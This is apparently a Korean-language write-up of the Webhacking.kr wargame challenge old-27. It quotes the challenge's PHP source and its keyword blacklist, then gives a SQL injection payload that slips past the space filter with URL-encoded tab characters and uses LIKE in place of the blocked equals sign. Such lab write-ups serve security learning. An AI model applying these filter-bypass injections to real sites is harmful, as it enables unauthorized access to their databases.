본문 바로가기

Webhacking.kr

old-27

소스코드 분석

<?php
  if($_GET['no']){
  $db = dbconnect();
  if(preg_match("/#|select|\\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
  $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
  if($r['id']=="guest") echo("guest");
  if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
  • # : 샵(주석 용도로 쓰이는 경우 차단)
  • select : SELECT 키워드 차단
  • \\( : 왼쪽 괄호 ( 차단
  • : 공백(스페이스) 차단 — 오직 공백 문자(ASCII 0x20)
  • limit : LIMIT 키워드 차단
  • = : 등호(비교/할당연산자) 차단
  • 0x : 16진수 리터럴 접두사 차단

즉, #, select, (, (스페이스), limit, =, 0x 이 어느 하나라도 포함되면 exit("no hack") 이 실행\

 

익스플로잇

Payload

or no like 2--
=>
select id from chall27 where id='guest' and no=(0)%09or%09no%09like%092--%09

%09는 TAB 키의 URL 인코딩이다.

필터링 로직에서 TAB을 필터링 하지 않으므로 공백 문자(스페이스) 필터링을 TAB을 이용해 우회한다.

'Webhacking.kr' 카테고리의 다른 글

old-61  (0) 2026.05.14
old-52  (0) 2026.05.14
old-21  (0) 2026.05.14
old-32  (0) 2026.05.13
old-25  (0) 2026.05.13